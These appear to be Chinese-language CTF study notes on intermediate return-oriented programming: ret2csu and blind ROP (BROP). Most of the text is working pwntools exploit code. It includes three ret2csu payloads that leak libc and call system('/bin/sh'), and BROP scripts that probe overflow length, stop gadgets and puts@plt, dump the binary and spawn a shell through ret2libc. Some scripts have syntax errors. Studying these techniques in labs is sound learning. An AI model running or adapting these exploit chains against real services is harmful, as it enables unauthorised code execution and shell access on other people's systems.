ret2csu

x86 与 x64 的区别:

x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上
详细的例子去看蒸米ROP x64篇

ret2csu

x64 下面有一些万能的 gadget:objdump -d ./level5 显示特定的汇编(-D 显示全部的)

观察一下 _libc_csu_init 一般来说,只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化

image.png

这里面有一些对寄存器操作的,需要注意的是 AT&T 与 8086 汇编语法有些区别

这些前面带百分号的极有可能是 AT&T 汇编,它的 mov 源操作数与目的操作数跟 8086 是反着的

  1. gadgets2
  2. 4005f0: 4c 89 fa mov %r15,%rdx
  3. 4005f3: 4c 89 f6 mov %r14,%rsi
  4. 4005f6: 44 89 ef mov %r13d,%edi
  5. 4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
  6. ....
  7. gadgets1
  8. 400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
  9. 40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
  10. 400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
  11. 400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
  12. 40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
  13. 40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
  14. 400624: 48 83 c4 38 add $0x38,%rsp
  15. 400628: c3 retq

通过构造栈上的数据,调用 1 然后返回到 2 就可以控制寄存器

image.png

临时参考:https://blog.csdn.net/weixin_43467772/article/details/89131527
首先通过溢出把一堆数据写在栈上,此时返回地址覆盖为 gadgets1,调用 gaegets1 的时候 rsp+8 通过 gadgets1 把栈上的数据写在寄存器里面,同时把 rsp 再加一下让程序返回到 gadgets2

gadgets2 会把之前寄存器上存的数据放在需要的寄存器上(参数存放顺序:RDI, RSI, RDX, RCX, R8 和 R9)
把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0,当程序执行完 write 函数以后会自己回到这里(因为是 call,正常调用)所以不用管返回地址,继续执行,此时还会执行 gadgets1 上面那张图那样子,gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉,使得程序返回的时候是我们写在栈上的 main_addr

write 函数原型是 write(1,address,len) ,1表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度

第一发payload
image.png

第二发payload
image.png

第三发payload
image.png

剩下的同理,只是 read 从标准输入流(0,即控制台)读取 0x100 放到 .bss 段里面

  1. #!python
  2. #!/usr/bin/env python
  3. from pwn import *
  4. from LibcSearcher import LibcSearcher
  5. elf = ELF('level5')
  6. p = process('./level5')
  7. got_write = elf.got['write']
  8. got_read = elf.got['read']
  9. main_addr = 0x400564
  10. bss_addr=0x601028
  11. payload1 = "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
  12. p.recvuntil("Hello, World\n")
  13. print "\n#############sending payload1#############\n"
  14. p.send(payload1)
  15. sleep(1)
  16. write_addr = u64(p.recv(8))
  17. print "write_addr: " + hex(write_addr)
  18. libc=LibcSearcher('write',write_addr)
  19. libc_base=write_addr-libc.dump('write')
  20. sys_addr=libc_base+libc.dump('system')
  21. print "system_addr: " + hex(sys_addr)
  22. p.recvuntil("Hello, World\n")
  23. payload2 = "\x00"*136 + p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
  24. print "\n#############sending payload2#############\n"
  25. p.send(payload2)
  26. sleep(1)
  27. p.send(p64(sys_addr))
  28. p.send("/bin/sh\0")
  29. sleep(1)
  30. p.recvuntil("Hello, World\n")
  31. payload3 = "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
  32. print "\n#############sending payload3#############\n"
  33. sleep(1)
  34. p.send(payload3)
  35. p.interactive()

给出的 exp

  1. #!python
  2. #!/usr/bin/env python
  3. from pwn import *
  4. #context.log_level="debug"
  5. elf = ELF('level5')
  6. libc = ELF('libc.so.6')
  7. p = process('./level5')
  8. got_write = elf.got['write']
  9. print "got_write: " + hex(got_write)
  10. got_read = elf.got['read']
  11. print "got_read: " + hex(got_read)
  12. main = 0x400564
  13. off_system_addr = libc.symbols['write'] - libc.symbols['system']
  14. print "off_system_addr: " + hex(off_system_addr)
  15. #rdi= edi = r13, rsi = r14, rdx = r15
  16. #write(rdi=1, rsi=write.got, rdx=4)
  17. payload1 = "\x00"*136
  18. payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
  19. payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
  20. payload1 += "\x00"*56
  21. payload1 += p64(main)
  22. p.recvuntil("Hello, World\n")
  23. print "\n#############sending payload1#############\n"
  24. p.send(payload1)
  25. sleep(1)
  26. write_addr = u64(p.recv(8))
  27. print "write_addr: " + hex(write_addr)
  28. system_addr = write_addr - off_system_addr
  29. print "system_addr: " + hex(system_addr)
  30. bss_addr=0x601028
  31. p.recvuntil("Hello, World\n")
  32. #rdi= edi = r13, rsi = r14, rdx = r15
  33. #read(rdi=0, rsi=bss_addr, rdx=16)
  34. payload2 = "\x00"*136
  35. payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
  36. payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
  37. payload2 += "\x00"*56
  38. payload2 += p64(main)
  39. print "\n#############sending payload2#############\n"
  40. p.send(payload2)
  41. sleep(1)
  42. p.send(p64(system_addr))
  43. p.send("/bin/sh\0")
  44. sleep(1)
  45. p.recvuntil("Hello, World\n")
  46. #rdi= edi = r13, rsi = r14, rdx = r15
  47. #system(rdi = bss_addr+8 = "/bin/sh")
  48. payload3 = "\x00"*136
  49. payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
  50. payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
  51. payload3 += "\x00"*56
  52. payload3 += p64(main)
  53. print "\n#############sending payload3#############\n"
  54. sleep(1)
  55. p.send(payload3)
  56. p.interactive()

ret2reg

wiki 没有给出例题,等以后补上

BROP

BROP是在没有给出题目的情况下,只能通过尝试来确定

攻击条件

程序必须存在溢出漏洞,以便攻击者可以控制程序流程
进程崩溃以后可以重启,而且重启之后的地址与先前的地址一样

基本思路

首先通过枚举,判断栈溢出长度,然后通过 Stack Reading 获取栈上的数据来获取canary以及ebp和返回地址
再找到足够多的 gadget 来控制输出函数的参数并进行调用,利用输出函数来dump出程序来找到更多的gadget

栈溢出

从 1 开始暴力枚举,直到程序崩溃

Stack Reading

通过按照字节爆破比枚举数值更快
每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次
找到canary的值

Blind ROP

调用write函数最方便的方法是系统调用号,然后syscall,然而syscall几乎不可能

所以可以使用 libc_csu_init 结尾的一段 gadgets 来实现,同时可以使用 plt 来获取write地址,在write的参数里面,rdx是用来限制输出长度的,一般不会为0,但是保险起见,可以同时设置一下,但是几乎没有 pop rdx 这样的指令

可以通过 strcmp 来实现,在执行 strcmp 的时候,rdx会被设置为字符串的长度,所以只要找到 strcmp 就可以实现控制rdx

接下来要做的就是:
1、找gadgets
2、找 plt 表,比如 write、strcmp

找gadget

为了能够找到 gadget,可以分为两步:1、stop gadget,当执行这一段代码时,程序陷入循环,使攻击者一直保持连接状态,其根本目的在于告诉攻击者,其所测试的地址是一段gadget

Intermediate ROP - 图6

image.png

2、识别gadget,这里为了方便介绍,定义栈上的三种地址:

  • Probe

探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。

  • Stop

不会使得程序崩溃的stop gadget的地址。

  • Trap

可以导致程序崩溃的地址,直接写 p64(0) 就可以

通过不同顺序构造一串 payload 就可以达到找到识别正在执行的指令的效果
比如:probe + trap + stop + trap + trap… 可以找到一个 pop xxx;ret 这样的
probe + trap + trap + trap + trap + trap + trap + stop + trap + trap… 这样的就可以找到:
pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret

ps. 在每个布局后面都放上 trap 是为了保证崩溃 probe 返回如果不是 stop 能够立即崩溃

当然,我们还是很难确定它弹的哪一个寄存器,但是,一下子连续弹 6 次的很大可能性就是 brop_gadgets

这里说的 brop_gadgets 就是上面 ret2csu 的那个

同时找到的哪一个可能是一个 stop_gadgets,可以把后面原本的 stop_gadgets 改一下,如果程序没崩溃那就是又找了一个 stop_gadgets

找某些 plt

找到了 gadgets 以后,只需要根据功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的 plt
比如:payload = ‘A’*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
如果能过把 0x400000 的内容给输出来就可以找到 put@plt 了

HCTF 出题人失踪了

  1. from pwn import *
  2. i=1
  3. while 1:
  4. try:
  5. p=remote("127.0.0.1",9999)
  6. p.recvuntil("WelCome my friend,Do you know password?\n")
  7. p.send('a'*i)
  8. data=p.recv()
  9. p.close()
  10. if not data.startwith('No password'):
  11. return i-1
  12. else:
  13. return i+1
  14. execpt EOFEror:
  15. p.close()
  16. return i-1
  17. size=getsize()
  18. print "size is [%s]"%size

用脚本跑出来是 72

image.png

再找一个能让程序不崩溃的地址(stop_gadgets):

  1. from pwn import *
  2. def getStopGadgets(length):
  3. addr = 0x400000
  4. while 1:
  5. try:
  6. sh = remote('127.0.0.1',9999)
  7. payload = 'a'*length +p64(addr)
  8. sh.recvuntil("password?\n")
  9. sh.sendline(payload)
  10. output = sh.recvuntil("password?\n")
  11. sh.close()
  12. print("one stop addr: 0x%x" % (addr))
  13. if not output.startswith('WelCome'):
  14. sh.close()
  15. addr+=1
  16. else:
  17. return addr
  18. except Exception:
  19. addr+=1
  20. sh.close()
  21. stop_gadgets = getStopGadgets(72)

感觉只有返回到 main 或者 _start 才能用

image.png

再去找 BROP_gadgets

  1. from pwn import *
  2. def get_brop_gadget(length, stop_gadget, addr):
  3. try:
  4. sh = remote('127.0.0.1', 9999)
  5. sh.recvuntil('password?\n')
  6. payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
  7. sh.sendline(payload)
  8. content = sh.recv()
  9. sh.close()
  10. print content
  11. # stop gadget returns memory
  12. if not content.startswith('WelCome'):
  13. return False
  14. return True
  15. except Exception:
  16. sh.close()
  17. return False
  18. def check_brop_gadget(length, addr):
  19. try:
  20. sh = remote('127.0.0.1', 9999)
  21. sh.recvuntil('password?\n')
  22. payload = 'a' * length + p64(addr) + 'a' * 8 * 10
  23. sh.sendline(payload)
  24. content = sh.recv()
  25. sh.close()
  26. return False
  27. except Exception:
  28. sh.close()
  29. return True
  30. length = 72
  31. stop_gadget = 0x4005c0
  32. addr = 0x400000
  33. while 1:
  34. print hex(addr)
  35. if get_brop_gadget(length, stop_gadget, addr):
  36. print 'possible brop gadget: 0x%x' % addr
  37. if check_brop_gadget(length, addr):
  38. print 'success brop gadget: 0x%x' % addr
  39. break
  40. addr += 1

拿到 brop_gadgets

image.png

根据之前的:我们可以发现,从找到的 brop_gadget 其中 pop r15;ret 对应的字节码为41 5f c3。后两字节码 5f c3 对应的汇编即为 pop rdi;ret

image.png

所以,pop rdi;ret 的地址就是 brop_gadget + 9

通过这个 gadget 把 put 的 plt 给打出来

  1. from pwn import *
  2. ##length = getbufferflow_length()
  3. length = 72
  4. ##get_stop_addr(length)
  5. stop_gadget = 0x4005c0
  6. addr = 0x400740
  7. def get_puts_addr(length, rdi_ret, stop_gadget):
  8. addr = 0x400000
  9. while 1:
  10. print hex(addr)
  11. sh = remote('127.0.0.1', 9999)
  12. sh.recvuntil('password?\n')
  13. payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
  14. sh.sendline(payload)
  15. try:
  16. content = sh.recv()
  17. if content.startswith('\x7fELF'):
  18. print 'find puts@plt addr: 0x%x' % addr
  19. return addr
  20. sh.close()
  21. addr += 1
  22. except Exception:
  23. sh.close()
  24. addr += 1
  25. brop_gadget=0x4007ba
  26. rdi_ret=brop_gadget+9
  27. get_puts_addr(72,rdi_ret,stop_gadget)

image.png

拿到了 put 的地址,就可以通过 很多次的 put 把想要的内容给 dump 出来

把程序 DUMP 下来:

  1. from pwn import *
  2. def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
  3. sh = remote('127.0.0.1', 9999)
  4. payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
  5. sh.recvuntil('password?\n')
  6. sh.sendline(payload)
  7. try:
  8. data = sh.recv()
  9. sh.close()
  10. try:
  11. data = data[:data.index("\nWelCome")]
  12. except Exception:
  13. data = data
  14. if data == "":
  15. data = '\x00'
  16. return data
  17. except Exception:
  18. sh.close()
  19. return None
  20. ##length = getbufferflow_length()
  21. length = 72
  22. ##stop_gadget = get_stop_addr(length)
  23. stop_gadget = 0x4005c0
  24. ##brop_gadget = find_brop_gadget(length,stop_gadget)
  25. brop_gadget = 0x4007ba
  26. rdi_ret = brop_gadget + 9
  27. ##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
  28. puts_plt = 0x400555
  29. addr = 0x400000
  30. result = ""
  31. while addr < 0x401000:
  32. print hex(addr)
  33. data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
  34. if data is None:
  35. continue
  36. else:
  37. result += data
  38. addr += len(data)
  39. with open('code', 'wb') as f:
  40. f.write(result)

把 dump 下来的文件用 IDA 的二进制模式打开

image.png

然后把基址改成 0x400000:
编辑 -> 段 -> 重新设置基址

image.png

设置为 0x400000

image.png

在 0x400555 处,摁下 c 识别成汇编格式,可以看到 jmp 的地址是:601018h

image.png

这样就得到了 put@got 地址,知道了这个地址,再用 libcsearch 去进行 ret2libc 就可以了

  1. ##length = getbufferflow_length()
  2. length = 72
  3. ##stop_gadget = get_stop_addr(length)
  4. stop_gadget = 0x4006b6
  5. ##brop_gadget = find_brop_gadget(length,stop_gadget)
  6. brop_gadget = 0x4007ba
  7. rdi_ret = brop_gadget + 9
  8. ##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
  9. puts_plt = 0x400560
  10. ##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
  11. puts_got = 0x601018
  12. sh = remote('127.0.0.1', 9999)
  13. sh.recvuntil('password?\n')
  14. payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
  15. sh.sendline(payload)
  16. data = sh.recvuntil('\nWelCome', drop=True)
  17. puts_addr = u64(data.ljust(8, '\x00'))
  18. libc = LibcSearcher('puts', puts_addr)
  19. libc_base = puts_addr - libc.dump('puts')
  20. system_addr = libc_base + libc.dump('system')
  21. binsh_addr = libc_base + libc.dump('str_bin_sh')
  22. payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
  23. sh.sendline(payload)
  24. sh.interactive()